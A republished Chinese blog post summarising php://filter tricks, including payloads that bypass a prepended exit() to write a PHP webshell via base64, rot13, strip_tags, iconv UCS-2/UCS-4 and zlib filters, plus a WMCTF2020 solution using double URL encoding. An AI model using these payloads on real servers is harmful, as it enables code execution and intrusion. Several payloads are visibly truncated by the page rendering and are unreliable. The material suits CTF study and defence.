返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP Filter伪协议Trick总结
  • 267
分享到

PHP Filter伪协议Trick总结

安全 2023-10-18 20:10:41 267人浏览 薄情痞子
摘要

PHP Filter伪协议Trick总结 前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索。 php Filter协议介绍 ​ php

PHP Filter伪协议Trick总结

前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索。

php Filter协议介绍

php://filterphp中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 

Filter协议的使用方法

Filter协议的一般语法为:

php://filter/过滤器|过滤器/resource=待过滤的数据流

其中过滤器可以设置多个,按照链式的方式依次对数据进行过滤处理。例如:

echo file_get_contents("php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,");

这个字符串进行了两次base64编码处理。

php filter的过滤器有很多种,根据官方文档(https://www.php.net/manual/zh/filters.php),大致可以分为四类:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器

字符串过滤器

string字符串开头,常见的过滤器有rot13touppertolowerstrip_tags等,例如:

# string.rot13即对数据流进行str_rot13函数处理echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,abcdefg");# 输出结果为nopqrst

toupper、tolower是对字符串进行大小写转换处理:

file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abcdefg");

strip_tags对数据流进行strip_tags函数的处理,该函数功能为剥去字符串中的 htmlXML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西。

file_get_contents("php://filter/read=string.strip_tags/resource=data://text/plain,s");# 结果返回s

转换过滤器

主要含有三类,分别是base64的编码转换、quoted-printable的编码转换以及iconv字符编码的转换。该类过滤器以convert开头。

base64的编码转换操作,例如:

file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");

Quoted-printable可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数,例如:

file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));# 输出为m1sn0w=0C

iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv..或者convert.iconv./,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码,例如:

file_get_contents("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w".chr(12));

压缩过滤器

主要有两类,zlibbzip2,其中zlib.deflatebzip2.compress用于压缩,zlib.inflatebzip2.decompress用于解压缩。

加密过滤器

mcrypt开头,后面指定一个加密算法。本特性已自PHP 7.1.0起废弃。强烈建议不要使用本特性。

Filter协议的一些Trick

php://filter⾯对不可⽤的规则只是报个Warning,之后会跳过继续执行。

绕过死亡exit

有时候会碰到这种情况:

file_put_contents($filename,"

这时,如果想要写入WEBshell,就需要利用到过滤器来进行一些操作,将输入的字符串中的exit()函数处理掉或者让它失效,从而达到代码执行的目的。

下面总结一些比较常见的绕过方式:

Base64编码绕过

Base64在进行解码的时候,是4个字符一组进行解码,也就是说如果构造一个字符串如aaaabTFzbjB3,前面的四个a会被当成一组进行正常解码,后面真正的base64编码也就会正常解码。因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,因为前面参数解码的字符串只有phpexit,因此上述的绕过方式为:

$filename = "php://filter/write=convert.base64-decode/resource=shell.php";$content = "aPD9waHAGCGhwaW5mbygpOz8+"

image-20211111113347644

rot13绕过

方式和base64类似,将payload转换一下即可:

$filename = "php://filter/write=string.rot13/resource=shell.php";$content = "";

image-20211111113831143

组合方式绕过

例如使用strip_tagsbase64进行绕过:

$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";$content = "?>PD9waHAgcGhwaW5mbygpOz8+";

文件内容变量相同绕过

比如下面这种情况:文件名和拼写的内容相同,还需要绕过exit

file_put_contents($content,"

如果没有exit的话,这种写入方式就比较简单,例如:

$content = "php://filter/write=/resource=shell.php";

image-20211111114922452

这里主要是因为php://filter在遇到不认识的过滤器的时候,只会进行一个警告,然后继续后面的执行。

这里回到主题,如果绕过上述的exit

利用rot13绕过

构造如下payload:前提是目标服务器没有开启短标签。

$content = "php://filter/write=string.rot13|/resource=shell.php";
iconv字符编码转换

这里用到几种编码:

UCS-2:对目标字符串进行2位一反转UCS-4:对目标字符串进行4位一反转

payload生成:

aa";echo iconv("UCS-4LE","UCS-4BE",$a);

因此,对于上述的绕过,可以使用如下payload

# 2位一反转$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|??/resource=shell.php";# 4位一反转(注意添加一些填充位)$content = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa??;)/resource=shell.php";

image-20211111134155440

利用压缩过滤器进行绕过

使用到zlib.inflatezlib.deflate,将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit去掉。

zlib.inflatezlib.deflate过滤器的中间加上一个字符串过滤器,会将exit解压成其他的字串,例如:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php';file_put_contents($content,'

image-20211111144349667

组合绕过方式

感觉能单个过滤器绕过的,就可以不用多个过滤器一起组合绕过。

strip_tags+base64编码绕过

绕过思路就是:闭合前面的标签,并使用strip_tags进行处理过滤,然后正常base64解码

构造payload如下:

$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";

这里其实还有一个小trick,就是resource后面的路径,php://filter仍然会将其视作位过滤器进行一个过滤处理,例如:

$content = "php://filter/resource=./convert.base64-encode/../shell.php";

image-20211111141156595

[WMCTF2020]Web Check in 2.0

源代码如下:

这里带有几个trick,第一个就是伪协议在调用过滤器的时候,会对过滤器进行url解码一次,例如构造如下内容:

$content = "php://filter/write=%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/resource=shell.php";file_put_contents($content,"

仍然会对字符串进行base64编码操作,因此,这里尝试利用二次编码的方式,绕过死亡exit,并写入shell:

# payload如下:访问获取到phpinfo界面content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|??/resource=shell.php# 尝试命令执行content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa?/resource=shell.php

蚁剑连接,在根目录获取到flag

image-20211111143123706

第二种方法是利用压缩过滤器来进行绕过,使用到zlib.inflatezlib.deflate,解题思路就是将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit去掉。

zlib.inflatezlib.deflate过滤器的中间加上一个字符串过滤器,会将exit解压成其他的字串,例如:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php';file_put_contents($content,'

image-20211111144349667

第三种方式是利用php7版本,在使用伪协议string.strip_tags时会发生段错误,然后将上传的文件报错在tmp目录下面,可以利用爆破的方式+文件包含利用,获取到Shell

文章小结

Filter过滤器在很多时候都非常有用,不论是任意文件读取,还是Webshell的写入。本篇文章总结了几个小trick,例如绕过exitresource后面可继续跟过滤器、伪协议在处理过滤器的时候会进行URL编码等,感觉每一个都会有助于攻击方式的扩展。

参考文章

关于file_put_contents的一些小测试Https://cyc1e183.GitHub.io/2020/04/03/关于file_put_contents的一些小测试/)

WMCTF2020官方writeup(https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF_2020官方WriteUp.pdf

php官方文档(https://www.php.net/manual/zh/filters.compression.php)

来源地址:https://blog.csdn.net/gental_z/article/details/122303393

--结束END--

本文标题: PHP Filter伪协议Trick总结

本文链接: https://lsjlt.com/news/431652.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • PHP Filter伪协议Trick总结
    PHP Filter伪协议Trick总结 前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索。 PHP Filter协议介绍 ​ php...
    99+
    2023-10-18
    安全
  • php://filter伪协议(总结)
    前言 这篇文章主要是关于php://filter伪协议中的知识点总结,分析了常见的用法 文章目录 前言php://filter伪协议总结php://filter伪协议介绍php://filte...
    99+
    2023-08-31
    php 开发语言 web安全 安全
  • php伪协议总结
    php伪协议总结 概述 PHP伪协议,也是php支持的协议和封装协议 常见的伪协议有: php://访问各个输入输出流file://访问本地文件系统data://获取数据(RFC 2397)zip:/...
    99+
    2023-09-21
    php web安全
  • PHP伪协议filter详解,php://filter协议过滤器
    「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 ...
    99+
    2023-08-31
    php 网络安全 人工智能 ai
  • CTF常用伪协议总结
    PHP伪协议 file://协议 用来读取本地的文件,当用于文件读取函数时可以用。 常见检测是否存在漏洞写法: www.xxx.com/file=file:///etc/passwd 此协议不受al...
    99+
    2023-09-21
    php 安全 web安全
  • ctf文件包含+伪协议总结
    基本原理 后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。这个漏洞在p...
    99+
    2023-09-01
    php 开发语言
  • PHP 伪协议
    常见的php伪协议 file://                         访问本地文件系统php://                        访问输入输出流data://                       数...
    99+
    2023-09-03
    php 开发语言
  • PHP伪协议
    PHP伪协议 一、伪协议介绍 PHP伪协议,也是php支持的协议和封装协议。 常见的有: file:// 访问本地文件系统php:// 访问各个输入/输出流data:// 数据zip:// 压缩...
    99+
    2023-08-31
    php
  • PHP-伪协议
    伪协议 常用场景:文件包含 ,文本包含 常用的伪协议有 php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码) php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST...
    99+
    2023-09-01
    php 开发语言
  • 浅谈 filter伪协议的特性
    前言: 对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道php://filter/read=convert.base64-encode/resource=[文件名...
    99+
    2023-09-15
    php web安全 安全
  • PHP伪协议详解
    PHP伪协议详解 php支持的伪协议 1 file:// — 访问本地文件系统2 http:// — 访问 HTTP(s) 网址3 ftp:// — 访问 FTP(s) URLs4 php:// — ...
    99+
    2023-09-09
    php
  • PHP 伪协议:使用 php://filter 为数据流应用过滤器
    文章目录 参考环境PHP 伪协议概念为什么需要 PHP 伪协议? php://filter概念格式 基本使用普通读写file_get_contents 与 file_put...
    99+
    2023-10-18
    php 过滤器 PHP 伪协议 base64 rot13 过滤器列表 PHP 配置项
  • [php知识点]PHP伪协议
    目录 一、前言 1、什么是PHP伪协议2、什么时候用PHP伪协议 include和require函数include和include_once的区别(require与require_once的...
    99+
    2023-09-03
    php 开发语言
  • 【CTF】ctf中用到的php伪协议总结及例题(持续更)
    目录 前言 关于文件包含漏洞 php伪协议总结 关于php://协议 参考自: 前言  本篇文章使用的靶场是buuctf上的web题目:[BSidesCF 2020]Had a bad day 进行点击选项得到一个这样的url  这里...
    99+
    2023-09-01
    php 网络安全 ctf
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)
    [CTF/网络安全] 攻防世界 Web_php_include 解题详析 代码审计PHP_include文件包含漏洞及伪协议PayloadPHP伪协议恶意 PHP 伪协议data伪协议恶意 d...
    99+
    2023-10-18
    web安全 CTF php 网络安全
  • PHP伪协议基本原理介绍
    目录前言常见的php伪协议php://inputphp://filterzip://与bzip2://与zlib://协议data://phar://前言 引用一张比较清晰易懂的图 ...
    99+
    2022-11-16
    PHP伪协议 PHP伪协议原理
  • php伪协议实现命令执行详情
    目录1.file://协议2.php://协议3.data://协议4.zip:// & bzip:// & zlib:// 协议总结1.file://协议 条件: ...
    99+
    2024-04-02
  • 文件包含及PHP伪协议怎么用
    今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码...
    99+
    2023-06-30
  • VSCode LSP 语言服务器协议总结
    为什么使用语言服务器协议? LSP(Language Server Protocol)语言服务器是一种特殊的 Visual Studio Code 扩展,可为许多编程语言提供编辑体验。使用语言服务器,...
    99+
    2023-10-21
    vscode 里氏替换原则 服务器
  • [极客大挑战 2019]Secret File 1(php伪协议)
    纯小白的web之旅/(ㄒoㄒ)/~~ 第一篇题解,有些地方可能还不清楚,或者存在错误,大佬们如果看到可以指点一下(●'◡'●) 点开靶机 是这个界面,第一步看一下源代码,  可以看到一个提示  Archive_room.php 点进去就跳...
    99+
    2023-09-08
    php 开发语言 web
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作